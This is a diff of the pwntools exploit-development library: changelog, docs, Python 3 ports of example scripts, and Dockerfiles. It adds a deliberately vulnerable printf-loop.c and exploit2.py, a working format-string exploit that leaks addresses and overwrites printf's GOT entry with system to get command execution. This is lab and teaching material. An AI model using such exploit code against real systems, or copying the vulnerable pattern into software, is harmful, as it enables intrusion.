 ## 3.12.2
 
-- [1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
-- [1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
+- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
+- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
 
 [1242]: https://github.com/Gallopsled/pwntools/pull/1242
 [1243]: https://github.com/Gallopsled/pwntools/pull/1243
@@ -134,7 +308,15 @@ To be released on Jan 30, 2020.
 - [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
 - [#1125][1125] Fix a typo
 - [#1121][1121] Fix tests which were broken by an upstream Sphinx change
+- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
+- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
+- [5fdc08][5fdc08] Work around broken `pidof` on Android
+- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
+- [#1094][1094] Make hexdump output alignment more consistent
+- [#1096][1096] `flat()` and `fit()` are now the same function
 
+[1198]: https://github.com/Gallopsled/pwntools/pull/1198
+[1191]: https://github.com/Gallopsled/pwntools/pull/1191
 [1159]: https://github.com/Gallopsled/pwntools/pull/1159
 [1162]: https://github.com/Gallopsled/pwntools/pull/1162
 [1150]: https://github.com/Gallopsled/pwntools/pull/1150
@@ -144,6 +326,12 @@ To be released on Jan 30, 2020.
 [1131]: https://github.com/Gallopsled/pwntools/pull/1131
 [1125]: https://github.com/Gallopsled/pwntools/pull/1125
 [1121]: https://github.com/Gallopsled/pwntools/pull/1121
+[1104]: https://github.com/Gallopsled/pwntools/pull/1104
+[1101]: https://github.com/Gallopsled/pwntools/pull/1101
+[1094]: https://github.com/Gallopsled/pwntools/pull/1094
+[1096]: https://github.com/Gallopsled/pwntools/pull/1096
+[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
+[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
 
 ## 3.12.0
 

README.md

@@ -1,12 +1,13 @@
 # pwntools - CTF toolkit
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
+[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![PyPI](https://img.shields.io/badge/pypi-v3.13.0-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
-[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
-[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
-[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
+[![Travis](https://img.shields.io/travis/Gallopsled/pwntools/dev?logo=Travis)](https://travis-ci.org/Gallopsled/pwntools)
+![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/Gallopsled/pwntools/Continuous%20Integration/dev?logo=GitHub)
+[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
+[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
 
 Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
 
@@ -20,19 +21,17 @@ r.send(asm(shellcraft.sh()))
 r.interactive()
 ```
 
-# Try It Now!
-
-You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
-
 # Documentation
 
 Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
 
+A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
+
 To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
 
 # Installation
 
-Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python >= 2.7 is required (Python 3 suggested as best).
+Pwntools is best supported on 64-bit Ubuntu LTE releases (14.04, 16.04, 18.04, and 20.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python >= 2.7 is required (Python 3 suggested as best).
 
 Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
@@ -40,7 +39,7 @@ Most of the functionality of pwntools is self-contained and Python-only.  You sh
 apt-get update
 apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
 python3 -m pip install --upgrade pip
-python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
+python3 -m pip install --upgrade pwntools
 ```
 
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).

docs/requirements.txt

@@ -7,6 +7,7 @@ paramiko>=1.15.2
 pip>=6.0.8
 pyelftools>=0.2.3
 pygments>=2.0
+pypandoc
 pyserial>=2.7
 requests>=2.5.1
 ropgadget>=5.3
@@ -14,4 +15,3 @@ sphinx
 sphinx_rtd_theme
 sphinxcontrib-napoleon
 sphinxcontrib-autoprogram
-tox>=1.8.1

docs/source/about.rst

@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
 importing :mod:`pwnlib` or any of the submodules should have any significant
 side-effects (besides e.g. caching).
 
-For the most part, you will also only get the bits you import. You for instance
+For the most part, you will also only get the bits you import. You for instance would
 not get access to :mod:`pwnlib.util.packing` simply by doing ``import
 pwnlib.util``.
 

docs/source/conf.py

@@ -13,6 +13,7 @@
 
 import os
 import doctest
+import signal
 import six
 import subprocess
 import sys
@@ -87,6 +88,10 @@ class stdout(object):
     def __setattr__(self, name, value):
         return setattr(sys.stdout, name, value)
 pwnlib.context.ContextType.defaults['log_console'] = stdout()
+
+github_actions = os.environ.get('USER') == 'runner'
+travis_ci = os.environ.get('USER') == 'travis'
+branch_dev = os.environ.get('GITHUB_BASE_REF') == 'dev'
 '''
 
 autoclass_content = 'both'
@@ -336,7 +341,7 @@ def linkcode_resolve(domain, info):
     val = mod
     for k in info['fullname'].split('.'):
         val = getattr(val, k, None)
-        if val == None:
+        if val is None:
             break
 
     # Special case for shellcraft
@@ -350,7 +355,7 @@ def linkcode_resolve(domain, info):
         if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
             try:
                 lines, first = inspect.getsourcelines(val)
-                filename += '#L%d-%d' % (first, first + len(lines) - 1)
+                filename += '#L%d-L%d' % (first, first + len(lines) - 1)
             except (IOError, TypeError):
                 pass
 
@@ -374,42 +379,11 @@ if build_dash:
 
 # -- Customization to Sphinx autodoc generation --------------------------------------------
 import sphinx.ext.autodoc
-from sphinx.util.inspect import safe_getmembers, safe_getattr
 
 # Test hidden members (e.g. def _foo(...))
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
     return False
 
-def get_object_members_all(self, want_all):
-    if want_all:
-        # if not hasattr(self.object, '__all__'):
-        #     for implicit module members, check __module__ to avoid
-        #     documenting imported objects
-        return True, safe_getmembers(self.object)
-    # else:
-    #     memberlist = self.object.__all__
-    #     # Sometimes __all__ is broken...
-    #     if not isinstance(memberlist, (list, tuple)) or not \
-        #        all(isinstance(entry, string_types) for entry in memberlist):
-    #         self.directive.warn(
-    #             '__all__ should be a list of strings, not %r '
-    #             '(in module %s) -- ignoring __all__' %
-    #             (memberlist, self.fullname))
-    #         # fall back to all members
-    #         return True, safe_getmembers(self.object)
-    else:
-        memberlist = self.options.members or []
-        ret = []
-        for mname in memberlist:
-            try:
-                ret.append((mname, safe_getattr(self.object, mname)))
-            except AttributeError:
-                self.directive.warn(
-                    'missing attribute mentioned in :members: or __all__: '
-                    'module %s, attribute %s' % (
-                        safe_getattr(self.object, '__name__', '???'), mname))
-        return False, ret
-
 class _DummyClass(object): pass
 
 class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
@@ -444,4 +418,3 @@ if 'doctest' in sys.argv:
     if sys.version_info[:1] < (3,):
         import sphinx.ext.doctest
         sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
-    sphinx.ext.autodoc.ModuleDocumenter.get_object_members = get_object_members_all

docs/source/encoders.rst

@@ -1,25 +1,29 @@
 .. testsetup:: *
 
    from pwn import *
-
+   
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================
 
-.. automodule:: pwnlib.encoders
-   :members:
-
 .. automodule:: pwnlib.encoders.encoder
    :members:
 
-
-.. automodule:: pwnlib.encoders.amd64
-   :members:
-
-.. automodule:: pwnlib.encoders.arm
-   :members:
-
-.. automodule:: pwnlib.encoders.i386
+.. automodule:: pwnlib.encoders.i386.ascii_shellcode
    :members:
+   :special-members:
+   :exclude-members: __init__
 
 .. automodule:: pwnlib.encoders.i386.xor
    :members:
+
+.. automodule:: pwnlib.encoders.i386.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.amd64.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.arm.xor
+   :members:
+
+.. automodule:: pwnlib.encoders.mips.xor
+   :members:

docs/source/filepointer.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.filepointer import *
+
+:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
+============================================================
+
+.. automodule:: pwnlib.filepointer
+   :members:

docs/source/gdb.rst

@@ -1,6 +1,8 @@
 .. testsetup:: *
 
     from pwn import *
+    context.arch = 'amd64'
+    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
 
 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================

docs/source/index.rst

@@ -54,6 +54,7 @@ Each of the ``pwntools`` modules is documented here.
    encoders
    elf
    exception
+   filepointer
    flag
    fmtstr
    gdb

docs/source/install.rst

@@ -25,9 +25,9 @@ pwntools is available as a ``pip`` package.
 .. code-block:: bash
 
     $ apt-get update
-    $ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
-    $ pip install --upgrade pip
-    $ pip install --upgrade pwntools
+    $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+    $ python3 -m pip install --upgrade pip
+    $ python3 -m pip install --upgrade pwntools
 
 Development
 --------------

docs/source/install/binutils.rst

@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
 .. code-block:: bash
 
-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
+    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
 
 Alternate OSes
 ^^^^^^^^^^^^^^^^

docs/source/intro.rst

@@ -17,6 +17,13 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
 A full list of everything that is imported is available on :doc:`globals`.
 
 
+Tutorials
+---------
+
+A series of tutorials for Pwntools exists online, at
+https://github.com/Gallopsled/pwntools-tutorial#readme
+
+
 Making Connections
 ------------------
 
@@ -188,10 +195,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
 
 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
 
-    >>> print(cyclic(20).decode())
-    aaaabaaacaaadaaaeaaa
+    >>> cyclic(20)
+    b'aaaabaaacaaadaaaeaaa'
     >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
-    >>> print(cyclic_find(b'faab'))
+    >>> cyclic_find(b'faab')
     120
 
 ELF Manipulation

docs/source/protocols/adb.rst

@@ -2,6 +2,7 @@
 
    from pwn import *
    from pwnlib.protocols.adb import AdbClient
+   AdbClient().wait_for_device()
 
 :mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
 ===========================================================

docs/source/rop/ret2dlresolve.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   import tempfile
+
+:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
+========================================================
+
+.. automodule:: pwnlib.rop.ret2dlresolve
+   :members:

docs/source/term/readline.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwnlib.term.readline import *
+   import io
+
+:mod:`pwnlib.term.readline` --- Terminal nice readline
+======================================================
+
+.. automodule:: pwnlib.term.readline
+   :members:

docs/source/ui.rst

@@ -1,3 +1,8 @@
+.. testsetup:: *
+
+   from pwn import *
+   import io
+
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================
 

docs/source/util/iters.rst

@@ -17,19 +17,19 @@
      count                                  ,
      cycle                                  ,
      dropwhile                              ,
+     filter                                 ,
+     filterfalse                            ,
      groupby                                ,
-     ifilter                                ,
-     ifilterfalse                           ,
-     imap                                   ,
      islice                                 ,
-     izip                                   ,
-     izip_longest                           ,
+     map                                    ,
      permutations                           ,
      product                                ,
      repeat                                 ,
      starmap                                ,
      takewhile                              ,
-     tee
+     tee                                    ,
+     zip                                    ,
+     zip_longest
 
 .. function:: chain
 
@@ -63,29 +63,29 @@
 
    Alias for :func:`itertools.groupby`
 
-.. function:: ifilter
+.. function:: filter
 
-   Alias for :func:`itertools.ifilter`
+   Alias for python3-style :func:`filter`
 
-.. function:: ifilterfalse
+.. function:: filterfalse
 
-   Alias for :func:`itertools.ifilterfalse`
+   Alias for :func:`itertools.filterfalse`
 
-.. function:: imap
+.. function:: map
 
-   Alias for :func:`itertools.imap`
+   Alias for python3-style :func:`map`
 
 .. function:: islice
 
    Alias for :func:`itertools.islice`
 
-.. function:: izip
+.. function:: zip
 
-   Alias for :func:`itertools.izip`
+   Alias for python3-style :func:`zip`
 
-.. function:: izip_longest
+.. function:: zip_longest
 
-   Alias for :func:`itertools.izip_longest`
+   Alias for :func:`itertools.zip_longest`
 
 .. function:: permutations
 

examples/README.md

@@ -26,6 +26,10 @@ Try running this example with::
 ```
 Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
 ```
+* `attach.py`
+```
+Example showing `pwnlib.gdb.attach()`
+```
 * `clean_and_log.py`
 ```
 Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -65,8 +69,7 @@ Example showing `pwnlib.ui.options()`
 ```
 * `port_forward.py`
 ```
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 ```
 * `readline_completers.py`
 ```
@@ -74,6 +77,10 @@ Example showing pwnlib's readline implementation and a few completers.  This
 part of pwnlib will probably see some major changes soon, but we wanted to show
 off some proof-of-concepts.
 ```
+* `remote.py`
+```
+Example showing how to use the remote class.
+```
 * `remote_gdb_debugging.py`
 ```
 Simple example showing how to use the remote
@@ -103,7 +110,7 @@ and::
 
   $ TERM=xterm-256color python text.py
 ```
-* `remote.py`
+* `yesno.py`
 ```
-Example showing how to use the remote class.
+Example showing `pwnlib.ui.yesno()`
 ```

examples/android.py

@@ -1,22 +1,25 @@
-from pwn import *
+from __future__ import print_function
+
+import gdb
+from pwn import adb, context
 
 # Tell pwntools that the target is an Android device
-context.os='android'
-context.arch='aarch64' # or 'arm'
+context.os = "android"
+context.arch = "aarch64"  # or 'arm'
 
 # Optionally, set the remote ADB server address
-context.adb_host='172.16.110.1'
+context.adb_host = "172.16.110.1"
 
 # Wait for a device to become available
-print adb.wait_for_device()
+print(adb.wait_for_device())
 
 # Who am I?
-print adb.process('id').recvall().strip()
+print(adb.process("id").recvall().strip())
 
 # Interactive sessions!
 io = adb.shell()
-io.sendline('echo Hello, world; exit')
-print io.recvall().replace('\r\n', '\n').strip()
+io.sendline("echo Hello, world; exit")
+print(io.recvall().replace("\r\n", "\n").strip())
 
 # Debugging!
-gdb.debug('sh').interactive()
+gdb.debug("sh").interactive()

examples/args.py

@@ -14,5 +14,5 @@ Try running this example with::
 
 from pwn import *
 
-print args['RHOST'] or 'RHOST is not set'
-print args['RPORT'] or 'RPORT is not set'
+print(args['RHOST'] or 'RHOST is not set')
+print(args['RPORT'] or 'RPORT is not set')

examples/asm.py

@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
 shellcode = shellcraft.i386_to_amd64()
 shellcode_asm = asm(shellcode)
 
-print enhex(shellcode_asm)
-print disasm(shellcode_asm)
+print(enhex(shellcode_asm))
+print(disasm(shellcode_asm))

examples/attach.py

@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
 from pwn import *
 
 bash = process('/bin/bash')
-gdb.attach(bash, execute = '''
+gdb.attach(bash, gdbscript = '''
 p "hello from pwnlib"
 c
 ''')

examples/clean_and_log.py

@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
 
 while True:
     line = r.recvline()
-    print re.findall('^prefix (\S+)$', line)[0]
+    print(re.findall(r'^prefix (\S+)$', line)[0])

examples/fmtstr/Makefile

@@ -1,9 +1,11 @@
 CFLAGS := -Wno-unused-result -Wno-format-security
 TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
-	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
+	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
+	         printf-loop.native printf-loop.native32
 
 .PHONY: run
 run: all
+	./exploit2.py
 	./exploit.py
 
 .PHONY: all
@@ -43,7 +45,7 @@ clean:
 %.native: %.c
 	gcc $(CFLAGS) -o "$@" $^
 %.native32: %.c
-	i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
+	gcc $(CFLAGS) -m32 -o "$@" $^
 
 # install deps on ubuntu xenial
 .PHONY: install-apt

examples/fmtstr/exploit.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python
 from pwn import *
 
 @context.quiet
@@ -15,8 +15,8 @@ def exploit(binary):
         addr = unpack(p.recv(context.bytes))
         payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
         p.sendline(payload)
-        p.recvuntil("DONE")
-        print hex(u32(p.recv(4)))
+        p.recvuntil(b"DONE")
+        print(hex(u32(p.recv(4))))
 
 binaries = [
     "printf.mips",

examples/fmtstr/exploit2.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+An example combining fmtstr and dynelf to automatically exploit a PIE binary.
+"""
+
+from pwn import *
+
+def exploit(e):
+    p = e.process()
+
+    def executer(fmt):
+        p.sendline(fmt)
+        p.stdin.flush()
+        r = p.recvuntil(b'again=\n')
+        return r
+    f = FmtStr(executer)
+
+    # find some code pointer on stack
+    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
+    min_code_ptr = 0x10 << addrbits-8
+    max_code_ptr = 0x7e << addrbits-8
+    for off in range(64):
+        random_code_ptr = f.leak_stack(off)
+        packed = bytearray(pack(random_code_ptr))
+        chars = set(packed) - {0}
+        # simple heuristic
+        if (min_code_ptr < random_code_ptr < max_code_ptr
+            and max(chars) > 0x80 and min(chars) < 0x80
+            and not hex(random_code_ptr).startswith('0x7ff')):
+            break
+
+    log.info("Code ptr: %#x"%random_code_ptr)
+
+    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
+
+    print("Stack: %#x" % (online_elf.stack(),))
+    print("Heap: %#x" % (online_elf.heap(),))
+
+    info("Finding base address of the executable")
+    for ref in e.sym:
+        if not ref:
+            continue
+        # if we have the address of a symbol on remote, we know the offset
+        ref_addr = online_elf.lookup(ref)
+        if ref_addr:
+            print("%s: %r" % (ref, ref_addr))
+            break
+
+    system = online_elf.lookup('system', 'libc')
+    print("system: %#x" % system)
+
+    # fix up the address
+    e.address += ref_addr - e.sym[ref]
+
+    # actual exploit: overwrite printf with system
+    f.write(e.sym.got.printf, system)
+    f.execute_writes()
+
+    p.sendline(b'echo ::$(( 16 * 16 ))')
+    p.recvuntil(b'::')
+    line = p.recvline()
+    assert line == b'256\n'
+    p.sendline(b'exit')
+    p.close()
+
+
+for context.binary in 'printf-loop.native32', 'printf-loop.native':
+    exploit(context.binary)

examples/fmtstr/printf-loop.c

@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+  while (1) {
+    char str[256];
+    int n = read(STDIN_FILENO, str, sizeof(str) - 1);
+    str[n] = '\0';
+    printf(str);
+    printf("\n=try again=\n");
+    fflush(stdout);
+  }
+  return 0;
+}

examples/gen-README.py

@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
             continue
         path = os.path.join(top, name)[2:] # strip './'
         log.info('-> %s' % path)
-        data = read(path).strip()
+        data = read(path).strip().decode()
         if data[0:3] not in ('"""', "'''"):
             log.warning('  Has no docstring!')
             continue
@@ -37,6 +37,7 @@ def append_example(_arg, top, names):
         out += '* `%s`\n' % path
         out += '```%s```\n' % doc
 
-os.path.walk('.', append_example, None)
+for path, dirs, files in os.walk('.', onerror=None):
+    append_example(dirs, path, sorted(files))
 
 write('README.md', out)

examples/options.py

@@ -5,4 +5,4 @@ Example showing `pwnlib.ui.options()`
 from pwn import *
 
 opts = [string.letters[x] for x in range(10)]
-print 'You choose "%s"' % opts[options('Pick one:', opts)]
+print('You choose "%s"' % opts[options('Pick one:', opts)])

examples/port_forward.py

@@ -1,11 +1,10 @@
 """
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 """
 
 from pwn import *
 
 while True:
-    listen(1337).wait_for_connection() <> remote('google.com', 80)
+    listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
 
 # now point your browser (or curl(1)) to http://localhost:1337

examples/readline_completers.py

@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
 c2 = PathCompleter(mask = '*.py')
 
 with c1:
-    print 'type "exit" to exit'
+    print('type "exit" to exit')
     while True:
-        s = term.readline.readline(prompt = '> ').strip()
+        s = str_input(prompt = '> ').strip()
         if s in ('exit', 'enough!'):
             break
-        print 'You wrote', s
+        print('You wrote', s)
 with c2:
-    print 'choose a file'
-    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
-    print 'You picked', s
+    print('choose a file')
+    s = str_input(prompt = text.bold_green('$ ')).strip()
+    print('You picked', s)

examples/remote.py

@@ -6,6 +6,6 @@ from pwn import *
 
 sock = remote('127.0.0.1', 9001)
 
-print sock.recvline()
+print(sock.recvline())
 sock.send('foo')
 sock.interactive()

examples/remote_gdb_debugging.py

@@ -8,10 +8,10 @@ import getpass
 from pwn import *
 
 s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
-c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
+c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
 p/x $pc
 c''')
 
 c.sendline('ls -la')
 c.sendline('exit')
-print c.recvall()
+print(c.recvall())

examples/sigreturn_corefile_aarch64.py

@@ -3,11 +3,12 @@ context.arch='aarch64'
 frame = SigreturnFrame()
 
 registers = ['x%i' % i for i in range(0, 31)]
-registers += ['sp', 'pc']
+registers += ['pc']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -23,8 +24,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/sigreturn_corefile_arm.py

@@ -4,11 +4,12 @@ context.arch='arm'
 frame = SigreturnFrame()
 
 registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
-             'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
+             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,8 +25,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/spinners.py

@@ -10,9 +10,9 @@ n = 1
 h = log.waitfor('spinners running', status = str(n))
 
 hs = []
-print 'type "q" to quit'
+print('type "q" to quit')
 while True:
-    s = raw_input('> ')
+    s = str_input('> ').strip()
     if s == 'q':
         break
     hs.append(log.waitfor(s, status = 'running'))

examples/splash.py

@@ -9,5 +9,5 @@ splash()
 h = log.waitfor("You wrote", status = "--")
 
 while True:
-    l = raw_input('> ')
+    l = str_input('> ').strip()
     h.status(l.upper())

examples/ssh.py

@@ -14,7 +14,7 @@ log.info("pwd: %s" % shell.pwd())
 tube = shell.run('cat')
 tube.send("Hello, cat")
 tube.shutdown("out")
-print tube.recvall()
+print(tube.recvall())
 
 # Show automatic working directories
 shell.set_working_directory()
@@ -29,12 +29,21 @@ int main() {
 
 shell.gcc(['example.c','-o','example'])
 
-print shell['./example']
+print(shell['./example'])
 
 # Show the different styles of calling
-print shell.echo("single string")
-print shell.echo(["list","of","strings"])
-print shell["echo single statement"]
+print(shell.echo("single string"))
+print(shell.echo(["list","of","strings"]))
+print(shell["echo single statement"])
+
+# ssh.process() is the most flexible way to run a command)
+io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'], 
+                   env={'FOO': 'World'}, # Set environment
+                   stderr='/dev/null',   # Override file descriptors
+                   aslr=False,           # Disable ASLR on processes
+                   setuid=False,         # Disable setuid bit so processes can be debugged
+                   shell=False)          # Enable or disable shell evaluation
+print(io.recvall())
 
 # Show off the interactive shell
 shell.interactive()

examples/text.py

@@ -12,8 +12,8 @@ and::
 from pwn import *
 
 s = 'hello from pwntools'
-print text.black_on_green(s)
-print text.black_on_bright_green(s)
-print text.green_on_black(s)
-print text.bright_green_on_black(s)
-print text.bold_green_on_black(s)
+print(text.black_on_green(s))
+print(text.black_on_bright_green(s))
+print(text.green_on_black(s))
+print(text.bright_green_on_black(s))
+print(text.bold_green_on_black(s))

examples/yesno.py

@@ -5,6 +5,6 @@ Example showing `pwnlib.ui.yesno()`
 from pwn import *
 
 if ui.yesno('Do you like Pwntools?'):
-    print ':D'
+    print(':D')
 else:
-    print ':('
+    print(':(')

extra/docker/base

@@ -1 +1 @@
-xenial
+bionic

extra/docker/beta/Dockerfile

@@ -1,6 +1,6 @@
 FROM pwntools/pwntools:stable
 
 USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
+RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@beta
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/bionic/Dockerfile

@@ -0,0 +1,34 @@
+############################################################
+# Dockerfile to build Pwntools container
+# Based on Ubuntu
+############################################################
+
+FROM ubuntu:bionic
+MAINTAINER Maintainer Gallopsled et al.
+
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python3 \
+        python3-pip \
+        python3-dev \
+        qemu-user-static \
+        binutils-arm-linux-gnueabihf \
+        binutils-aarch64-linux-gnu \
+        binutils-mips-linux-gnu \
+        binutils-mipsel-linux-gnu \
+        binutils-powerpc-linux-gnu \
+        binutils-powerpc64-linux-gnu \
+        binutils-sparc64-linux-gnu \
+    && pip3 install --upgrade pip \
+    && python3 -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+USER pwntools
+WORKDIR /home/pwntools

extra/docker/dev/Dockerfile

@@ -1,6 +1,6 @@
 FROM pwntools/pwntools:stable
 
 USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev
+RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/stable/Dockerfile

@@ -1,6 +1,6 @@
 FROM pwntools/pwntools:base
 
 USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable
+RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@stable
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

pwn/toplevel.py

@@ -5,6 +5,7 @@ import math
 import operator
 import os
 import re
+import requests
 import socks
 import signal
 import string
@@ -29,15 +30,18 @@ from pwnlib.elf.elf import ELF, load
 from pwnlib.encoders import *
 from pwnlib.exception import PwnlibException
 from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
+from pwnlib.filepointer import *
 from pwnlib.flag import *
-from pwnlib.fmtstr import FmtStr, fmtstr_payload
+from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
 from pwnlib.log import getLogger
 from pwnlib.memleak import MemLeak, RelativeMemLeak
 from pwnlib.regsort import *
 from pwnlib.replacements import *
 from pwnlib.rop import ROP
 from pwnlib.rop.srop import SigreturnFrame
+from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
 from pwnlib.runner import *
+from pwnlib.term.readline import str_input
 from pwnlib.timeout import Timeout
 from pwnlib.tubes.listen import listen
